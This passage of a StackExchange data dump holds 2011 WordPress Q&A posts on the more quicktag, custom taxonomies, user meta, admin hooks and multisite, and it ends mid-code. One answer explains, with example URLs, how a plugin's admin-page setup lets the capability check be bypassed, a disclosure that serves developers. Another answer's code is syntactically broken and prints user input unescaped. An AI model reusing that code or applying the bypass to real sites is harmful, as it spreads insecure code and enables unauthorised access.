  <row Id="9110" PostTypeId="1" AcceptedAnswerId="9114" CreationDate="2011-02-10T21:26:29.987" Score="0" ViewCount="134" Body="&lt;p&gt;I'm a bit confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my own custom post type - products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm listing all the products on page-products.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every product has also it's own page - single-products.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the big and strange thing is... I'm using more quicktag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- more --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it doesn't work on both single-products and page-products! I don't care about single page, but I'd love to use on the page-products listing. And I'm not able to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The MORE quicktag will not&#xA;  operate and is ignored in Templates,&#xA;  such as single.php, where just one&#xA;  post is displayed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_content&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/the_content&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is it perfectly normal to not work for me in both cases? As far as I understand it should work in the first case... Is there a way to force more quicktag to display there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, in both cases more &quot;produces&quot; perfect more span... But even content after the span is being shown...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-03-15T16:26:37.177" Title="More quicktag driving me nuts" Tags="&lt;custom-post-types&gt;&lt;more&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="9111" PostTypeId="2" ParentId="9060" CreationDate="2011-02-10T21:36:37.063" Score="0" ViewCount="" Body="&lt;p&gt;So this is the &lt;em&gt;real&lt;/em&gt; solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_object_types_unique( $all_r_custom = false ) {&#xA;    $tax_object = get_taxonomies( array( '_builtin' =&amp;gt; $all_r_custom ), 'objects' );&#xA;    if ( $all_r_custom == true )&#xA;        $tax_object = array_merge( $tax_object, get_taxonomies( array( '_builtin' =&amp;gt; false ), 'objects' ) );&#xA;&#xA;    $object_types = array();&#xA;    foreach ( $tax_object as $tax ) {&#xA;        $object_types = array_merge( $object_types, $tax-&amp;gt;object_type );&#xA;    }&#xA;&#xA;    $object_types = array_unique( $object_types );&#xA;    return $object_types;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It allows to either retrieve only custom post/object types with &lt;code&gt;get_object_types_unique()&lt;/code&gt; or all incl. built in object types &lt;code&gt;get_object_types_unique( true )&lt;/code&gt;. So far there's with this function no chance to retrieve only the built in object types, because i can't see a need so far.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-02-11T14:32:47.230" LastActivityDate="2011-02-11T14:32:47.230" />
  <row Id="9112" PostTypeId="2" ParentId="1567" CreationDate="2011-02-10T22:10:00.293" Score="1" ViewCount="" Body="&lt;h2&gt;Resize large image on upload&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Image will be resize according to the large size in your media settings. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**resize on upload to the largest size in media setting */&#xA;&#xA;&#xA;function replace_uploaded_image($image_data) {&#xA;// if there is no large image : return&#xA;if (!isset($image_data['sizes']['large'])) return $image_data;&#xA;&#xA;// path to the uploaded image and the large image&#xA;$upload_dir = wp_upload_dir();&#xA;$uploaded_image_location = $upload_dir['basedir'] . '/' .$image_data['file'];&#xA;$large_image_location = $upload_dir['path'] . '/'.$image_data['sizes']['large']['file'];&#xA;&#xA;// delete the uploaded image&#xA;unlink($uploaded_image_location);&#xA;&#xA;// rename the large image&#xA;rename($large_image_location,$uploaded_image_location);&#xA;&#xA;// update image metadata and return them&#xA;$image_data['width'] = $image_data['sizes']['large']['width'];&#xA;$image_data['height'] = $image_data['sizes']['large']['height'];&#xA;unset($image_data['sizes']['large']);&#xA;&#xA;return $image_data;&#xA;}&#xA;add_filter('wp_generate_attachment_metadata','replace_uploaded_image');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-02-12T22:36:33.840" LastActivityDate="2011-02-12T22:36:33.840" CommunityOwnedDate="2011-02-10T22:10:00.293" CommentCount="1" />
  <row Id="9113" PostTypeId="2" ParentId="9110" CreationDate="2011-02-10T23:15:55.923" Score="1" ViewCount="" Body="&lt;p&gt;All we have to go on is &lt;code&gt;&amp;lt;!-- more --&amp;gt;&lt;/code&gt;. If that's what you are actually doing, try this from &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_content&quot; rel=&quot;nofollow&quot;&gt;the docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note about &lt;code&gt;&amp;lt;!--more--&amp;gt;&lt;/code&gt; :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;No whitespaces are allowed&lt;/em&gt; before the &quot;more&quot; in the &lt;code&gt;&amp;lt;!--more--&amp;gt;&lt;/code&gt; quicktag. In other words &lt;code&gt;&amp;lt;!-- more --&amp;gt;&lt;/code&gt; will not work!&lt;/li&gt;&#xA;&lt;li&gt;The  quicktag will not operate and is ignored in Templates, such as single.php, where just one post is displayed.&lt;/li&gt;&#xA;&lt;li&gt;Read &lt;a href=&quot;http://codex.wordpress.org/Customizing_the_Read_More&quot; rel=&quot;nofollow&quot;&gt;Customizing the Read More&lt;/a&gt; for more details. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(Ooops. I just noticed the &lt;code&gt;&amp;lt;!--&lt;/code&gt; got swallowed by the formatter.)&lt;/p&gt;&#xA;" OwnerUserId="1958" LastEditorUserId="1958" LastEditorDisplayName="" LastEditDate="2011-02-11T16:36:03.437" LastActivityDate="2011-02-11T16:36:03.437" />
  <row Id="9114" PostTypeId="2" ParentId="9110" CreationDate="2011-02-11T00:07:03.367" Score="0" ViewCount="" Body="&lt;p&gt;The &quot;read more&quot; link is essentially a navigational device meant to point visitors to a full version of a piece of some excerpted content. A single.php of any post type is the full version, therefore it is 100% in the nature of &lt;code&gt;&amp;lt;!-- more --&amp;gt;&lt;/code&gt; to not appear on single custom post type pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're just looking to display a snippit of your content, check out &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_excerpt&quot; rel=&quot;nofollow&quot;&gt;the_excerpt()&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-02-11T00:07:03.367" CommentCount="2" />
  <row Id="9115" PostTypeId="2" ParentId="9108" CreationDate="2011-02-11T00:12:53.453" Score="2" ViewCount="" Body="&lt;p&gt;There's a lot of ways you could go with this. I might &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&quot; rel=&quot;nofollow&quot;&gt;enqueue the style&lt;/a&gt; in your theme's functions.php dependent on a &lt;code&gt;file_exists()&lt;/code&gt; check.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$your_css_file_path = &quot;/path/to/file&quot;;&#xA;if ( file_exists($your_css_file_path) ) {&#xA;    wp_register_style('your_theme_stylesheet', $your_css_file_path);&#xA;    wp_enqueue_style( 'your_theme_stylesheet');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/functions.wp-styles.php&quot; rel=&quot;nofollow&quot;&gt;Here's the relavent core source&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-02-11T00:12:53.453" CommentCount="1" />
  <row Id="9116" PostTypeId="2" ParentId="9062" CreationDate="2011-02-11T00:44:49.497" Score="1" ViewCount="" Body="&lt;p&gt;I feel you on the WPMU -&gt; 3x transition but unfortunately it's going to be hard to troubleshoot the issues without seeing any code (@sanchothefat says something similar in a comment above). I've come up against similiar issues, so let me at least offer some general help in debugging these kinds of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever the function in question, go into the SVN and compare code revisions for the function in question. &lt;a href=&quot;http://svn.automattic.com/wordpress-mu/tags/2.9.2/&quot; rel=&quot;nofollow&quot;&gt;Here's the WPMU 2.9.2 trunk&lt;/a&gt; and here's &lt;a href=&quot;http://svn.automattic.com/wordpress/tags/3.0.5/&quot; rel=&quot;nofollow&quot;&gt;3.0.5&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using a diff tool (&quot;diff file1 file2&quot; on the command line) and see what changed between revisions. Are all the parameters the same? Do those array keys exist in both versions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To slueth out what your code isn't doing anymore it's helpful to first figure out it &lt;em&gt;did&lt;/em&gt; do that is no longer.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-02-11T00:44:49.497" />
  <row Id="9118" PostTypeId="1" CreationDate="2011-02-11T02:32:26.720" Score="1" ViewCount="132" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php paginate_comments_links(array('prev_text' =&amp;gt; '«', 'next_text' =&amp;gt; '»')); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using above in Wordpress theme to add comment pagination links - this displays as&lt;/p&gt;&#xA;&#xA;&lt;p&gt;« 1 ... 4 5 6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;1&quot; being the first page of comments and &quot;6&quot; being the last. I'd like to get something like this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(first) « 1 2 3 » (last)&lt;/p&gt;&#xA;" LastActivityDate="2011-02-11T10:00:51.803" Title="Add &quot;last&quot; and &quot;first&quot; to Wordpress Comment Pagination Links" Tags="&lt;php&gt;&lt;comments&gt;&lt;pagination&gt;" AnswerCount="1" />
  <row Id="9121" PostTypeId="1" AcceptedAnswerId="9124" CreationDate="2011-02-11T09:16:55.743" Score="0" ViewCount="187" Body="&lt;p&gt;I allow users to save some notes on my wordpress site. They can only do this after they login to the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to save their notes in a database table and associate them with the user's id i.e. if a user has saved 2 notes, when they login and go to &quot;my page&quot;, they should be able to see the 2 notes they saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please guide me on how to do this? I could find a lot of information on saving custom user metadata when they register. But could not find any help on saving information associated with a user account after they have logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1070" LastActivityDate="2011-02-14T08:06:09.100" Title="Saving custom data for each user" Tags="&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="9123" PostTypeId="1" AcceptedAnswerId="9127" CreationDate="2011-02-11T09:48:38.493" Score="0" ViewCount="127" Body="&lt;p&gt;I need to add about 50 properties to a product, such as heigh, width, location etc. I created custom taxonomies for every property and ran into serious problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, the UI is a mess! Every taxonomy uses to much space.&#xA;Some of the propertys should be presented to the user with radio buttons, checkboxes and dropwdowns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best practice? Use custom fields instead and lose the taxonomy functionality?&lt;/p&gt;&#xA;" OwnerUserId="3088" LastActivityDate="2011-02-11T18:47:31.340" Title="Solve product properties with custom taxonomies?" Tags="&lt;custom-taxonomy&gt;&lt;custom-field&gt;" AnswerCount="3" />
  <row Id="9124" PostTypeId="2" ParentId="9121" CreationDate="2011-02-11T09:55:50.730" Score="2" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/update_user_meta&quot; rel=&quot;nofollow&quot;&gt;update_user_meta&lt;/a&gt;&#xA;you can save user data if they are registering or signed in, its just a matter of what user ID you pass to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;say in your function to save the user data after he is logged in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save_user_data_7231(){&#xA;    global $current_user;&#xA;    if is_user_logged_in{ //check if user is logged in.&#xA;        if (isset($_POST['Notes'])){&#xA;            // get current user info&#xA;            get_currentuserinfo();&#xA;            $old_notes = get_user_meta($current_user-&amp;gt;ID, 'user_notes', true);&#xA;            if (isset($old_notes)&amp;amp;&amp;amp; is_array($old_notes)){&#xA;                //if we saved already more the one notes&#xA;                $old_notes[] = $_POST['Notes'];&#xA;                update_user_meta( $current_user-&amp;gt;ID, 'user_notes', $old_notes);&#xA;            }&#xA;            if (isset($old_notes)&amp;amp;&amp;amp; !is_array($old_notes)){&#xA;                //if we saved only one note before&#xA;                $new_notes = array($old_notes,$_POST['Notes']);&#xA;                update_user_meta( $current_user-&amp;gt;ID, 'user_notes', $new_notes)&#xA;            }&#xA;            if (!isset($old_notes)){&#xA;                //first note we are saving fr this user&#xA;                update_user_meta( $current_user-&amp;gt;ID, 'user_notes', $_POST['Notes'])&#xA;            }&#xA;        }&#xA;    } &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;they to display there notes you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_user_meta&quot; rel=&quot;nofollow&quot;&gt;get_user_meta&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_user_notes_654(){&#xA;    global $current_user;&#xA;    if is_user_logged_in{ //check if user is logged in.&#xA;        // get current user info&#xA;        get_currentuserinfo();&#xA;        $old_notes = get_user_meta($current_user-&amp;gt;ID, 'user_notes', true);&#xA;        if (!isset($old_notes)){&#xA;            $re = 'No Notes YET!';&#xA;        }&#xA;        if (isset($old_notes)){//we have notes. Removed the extra ! here.&#xA;            if (is_array($old_notes)){//more then one&#xA;                foreach($old_notes as $note){&#xA;                    $re .= '&amp;lt;strong&amp;gt;note:&amp;lt;/strong&amp;gt;' . $note . '&amp;lt;br /&amp;gt;'; &#xA;                }&#xA;            }else{//just one&#xA;                $re = '&amp;lt;strong&amp;gt;note:&amp;lt;/strong&amp;gt;' . $old_notes . '&amp;lt;br /&amp;gt;';&#xA;            }&#xA;        }&#xA;        re .='//add note form  would come here';&#xA;        return $re;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this Helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="1070" LastEditorDisplayName="" LastEditDate="2011-02-14T08:06:09.100" LastActivityDate="2011-02-14T08:06:09.100" CommentCount="2" />
  <row Id="9125" PostTypeId="2" ParentId="9118" CreationDate="2011-02-11T10:00:51.803" Score="1" ViewCount="" Body="&lt;p&gt;The number for the first page is always &lt;code&gt;1&lt;/code&gt;. The number of maximum pages can be set to &lt;code&gt;$max_page&lt;/code&gt; by calling &lt;code&gt;get_comment_pages_count()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $max_page = get_comment_pages_count();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Probably this information helps on how to build links on top of that, which depends a bit on the style of your theme. For building links, I could not find any suitable function in the Worpdress API so far, the most promising seems &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/paginate_links&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;paginate_links()&lt;/code&gt;&lt;/a&gt; to me.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-11T10:00:51.803" />
  <row Id="9126" PostTypeId="1" AcceptedAnswerId="9128" CreationDate="2011-02-11T10:32:55.143" Score="0" ViewCount="120" Body="&lt;p&gt;Can the hook &lt;code&gt;admin_print_scripts-$hook_suffix&lt;/code&gt; be used for a hook which has been created like &lt;code&gt;$hookname = get_plugin_page_hookname(&quot;my-quiz/lib/admin/$code_page&quot;, '' );&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.. where &lt;code&gt;$code_page&lt;/code&gt; is &lt;code&gt;somefilename.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried it and it doesn't seem to work. I think its probably because of the filepath ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What gets registered by the above code is 'admin_page_my-quiz/lib/admin/question_form' but this only works in a page if you do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo admin_url('admin.php?page=my-quiz/lib/admin/question_form.php&amp;amp;question=edit&amp;amp;question='.$question-&amp;gt;ID); ?&amp;gt;&quot; class='edit'&amp;gt;&#xA;        &amp;lt;?php _e('Edit', 'my-locale'); ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I have to add the .php suffix&lt;/strong&gt; for that link to work or I get the 'you do not have permission' error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@t31os function outputs 'nmsi-quiz/lib/admin/question_form.php' and so this doesn't match 'admin_page_my-quiz/lib/admin/question_form'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this works - add_action( 'admin_print_scripts-'.'my-quiz/lib/admin/question_form.php', array($this,'enqueue_my_js'));&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Requested code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$plugin_scripts = array('question_form.php', 'manage_questions.php');&#xA;&#xA;foreach($plugin_scripts as $code_page) {&#xA;    $hookname = get_plugin_page_hookname(&quot;my-quiz/lib/admin/$code_page&quot;, '' );&#xA;    $_registered_pages[$hookname] = true;&#xA;    //fb($hookname);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="500" LastEditorUserId="500" LastEditorDisplayName="" LastEditDate="2011-02-12T11:57:51.387" LastActivityDate="2011-02-14T16:14:48.047" Title="Does admin_print_scripts-$hook_suffix work for nested paths to individual files?" Tags="&lt;plugin-development&gt;&lt;admin&gt;&lt;hooks&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="9127" PostTypeId="2" ParentId="9123" CreationDate="2011-02-11T10:37:36.000" Score="3" ViewCount="" Body="&lt;p&gt;For each propery, ask yourself these questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it likely that, on average, more than 1-2 posts will have the same value for this property?&lt;/li&gt;&#xA;&lt;li&gt;If so, do I need to filter posts based on this property, or is it just for display?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you answered both with 'yes', then make it a taxonomy, otherwise a custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whichever you choose, you can make a custom metabox for that individual property, or several metaboxes that group related properties together. Whatever makes more sense.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-02-11T10:56:13.207" LastActivityDate="2011-02-11T10:56:13.207" CommentCount="2" />
  <row Id="9128" PostTypeId="2" ParentId="9126" CreationDate="2011-02-11T10:50:24.020" Score="3" ViewCount="" Body="&lt;p&gt;I think it's really a question of whether that code is giving the correct hook name for the given page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a simple function you can use to output the hook suffix on each admin page, it will appear inside a red error box(so it'll be easy to spot) for admins only.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_notices', 'print_admin_pagehook' );&#xA;function print_admin_pagehook() {&#xA;    global $hook_suffix;&#xA;    if( !current_user_can( 'manage_options') )&#xA;        return;&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;error&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;?php echo $hook_suffix; ?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Load up the page you're having a problem with and compare the value you see in the box with what you're getting back from the code you posted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Addition&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;&lt;em&gt;Following on from my last comment, you can actually do something like this..&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_menu', 'testing_registered_pages', 100 );&#xA;function testing_registered_pages() {&#xA;    global $_registered_pages, $submenu;&#xA;    $plugin_scripts = array( &#xA;        'Question Form' =&amp;gt; array( 'page' =&amp;gt; 'question_form', 'callback' =&amp;gt; 'my_callback_1' ), &#xA;        'Manage Questions' =&amp;gt; array( 'page' =&amp;gt; 'manage_questions', 'callback' =&amp;gt; 'my_callback_2' ) &#xA;    );&#xA;    foreach( $plugin_scripts as $title =&amp;gt; $my_pages ) {&#xA;        $hookname = get_plugin_page_hookname(&quot;my-quiz/lib/admin/$my_pages[page]&quot;, 'my-quiz' );&#xA;        $_registered_pages[$hookname] = true;&#xA;        $submenu['my-quiz'][] = array( $title, 'manage_options', &quot;my-quiz/lib/admin/$my_pages[page]&quot;, $title );&#xA;        add_action( $hookname, $my_pages['callback'] );&#xA;    }&#xA;}&#xA;&#xA;// Remove the add_action to reference actual files, leave in place to use a callback function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...there's just one problem with this approach, and that's in being able to defeat the capability requirements of the page(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take this URL.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example.com/wp-admin/admin.php?page=my-quiz/lib/admin/manage_questions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can defeat the cap check by querying for..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example.com/wp-admin/admin.php?page=my-quiz/lib/admin/manage_questions.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we switch the code from earlier to use the file extension instead, eg..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $plugin_scripts = array( &#xA;        'Question Form' =&amp;gt; array( 'page' =&amp;gt; 'question_form.php', 'callback' =&amp;gt; 'my_callback_1' ), &#xA;        'Manage Questions' =&amp;gt; array( 'page' =&amp;gt; 'manage_questions.php', 'callback' =&amp;gt; 'my_callback_2' ) &#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..and optionally disable callbacks, ie. use a real file..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// add_action( $hookname, $my_pages['callback'] ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..this then gives us..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example.com/wp-admin/admin.php?page=my-quiz/lib/admin/manage_questions.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..it's still possible to defeat capability requirements using..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example.com/wp-admin/admin.php?page=my-quiz/lib/admin/manage_questions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regardless of whether you use an actual file or a callback function, in either case the capability requirements(as above) can be circumvented(obviously this would not be desired behaviour).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-14T16:14:48.047" LastActivityDate="2011-02-14T16:14:48.047" CommentCount="1" />
  <row Id="9129" PostTypeId="1" AcceptedAnswerId="9136" CreationDate="2011-02-11T11:42:45.037" Score="6" ViewCount="327" Body="&lt;p&gt;I would like to have a separate page for the comments on a post, such that this page: &lt;code&gt;/2011/02/post-name/&lt;/code&gt; just shows the post and then you click a link to view the comments, taking you to a page like this: &lt;code&gt;/2011/02/post-name/comment-page-1/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will then check the URL to see if &quot;comment-page-x&quot; is in it, and display the page differently if so (remove the post, so people don't have to scroll past that every time, and also style things a bit differently). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would work, but WordPress redirects &lt;code&gt;comment-page-1&lt;/code&gt; to the post page - I need it to keep &lt;code&gt;comment-page-1&lt;/code&gt; there in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? How can I do it? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2011-06-27T03:12:36.213" Title="Stop WordPress redirecting comment-page-1 to the post page?" Tags="&lt;comments&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="9130" PostTypeId="1" AcceptedAnswerId="9131" CreationDate="2011-02-11T12:27:14.823" Score="0" ViewCount="130" Body="&lt;p&gt;Hay, I was wondering if this is possible. I have a company called dotty. The domain for this company is dotty.com. However, my company has many subcompanies (company_1, company_2). Is it possible using WordPress to manage all these subcompanies within one WordPress installation? Each company needs to have it's own template, and the URL's will end up something like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dotty.com&#xA;dotty.com/company_1&#xA;dotty.com/company_2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and i can manage them all from &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dotty.com/wp-admin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="376" LastActivityDate="2011-03-10T09:28:53.670" Title="Multiple Wordpress Blogs on one host, using 1 WordPress installation, using multiple templates" Tags="&lt;multisite&gt;" AnswerCount="1" />
  <row Id="9131" PostTypeId="2" ParentId="9130" CreationDate="2011-02-11T12:34:34.283" Score="6" ViewCount="" Body="&lt;p&gt;Use a WordPress Network. This is one installation with unlimited numbers of blogs, all controlled, to a point, by the central dashboard. See &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;Create A Network - WordPress Codex&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2011-02-11T12:34:34.283" CommentCount="2" />
  <row Id="9132" PostTypeId="1" CreationDate="2011-02-11T12:55:16.363" Score="0" ViewCount="208" Body="&lt;p&gt;I'm trying to retrieve the terms of a page's custom taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I'm in a post this works just fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args=array('orderby' =&amp;gt; 'none');&#xA;$terms = wp_get_post_terms( $post-&amp;gt;ID , 'custom_taxonomy', $args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this won't work on a page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried also with:  &lt;strong&gt;get_the_terms&lt;/strong&gt;  &amp;amp;  &lt;strong&gt;wp_get_object_terms&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But they don't seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, I'm using a hierarchical taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help in seeing the light ;-)&lt;/p&gt;&#xA;" LastActivityDate="2011-02-11T13:18:33.897" Title="Get Terms for Page" Tags="&lt;custom-taxonomy&gt;&lt;customization&gt;" AnswerCount="2" />
  <row Id="9133" PostTypeId="2" ParentId="9132" CreationDate="2011-02-11T13:06:24.387" Score="1" ViewCount="" Body="&lt;p&gt;Verify that &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt; is set and of expected value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What &lt;em&gt;don't seem to work&lt;/em&gt; means? What is actual return of function(s)? &lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-11T13:06:24.387" />
  <row Id="9134" PostTypeId="2" ParentId="9132" CreationDate="2011-02-11T13:18:33.897" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Rodrigo Pontremoli:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am finding that with the following code in my theme's &lt;code&gt;functions.php&lt;/code&gt; file that &lt;code&gt;wp_get_object_terms($post-&amp;gt;ID,'page-type',array('orderby' =&amp;gt; 'none'))&lt;/code&gt; is in fact working in my theme's &lt;code&gt;page.php&lt;/code&gt; template file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init','page_terms_init');&#xA;function page_terms_init() {&#xA;  register_taxonomy('page-type', 'page', array(&#xA;    'hierarchical'    =&amp;gt; true,&#xA;    'label'           =&amp;gt; 'Page Type',&#xA;    'query_var'       =&amp;gt; 'page-type',&#xA;    'rewrite'         =&amp;gt; array('slug'=&amp;gt;'page-types' ),&#xA;    )&#xA;  );&#xA;  // This should really be done in a plugin activation&#xA;  global $wp_rewrite;&#xA;  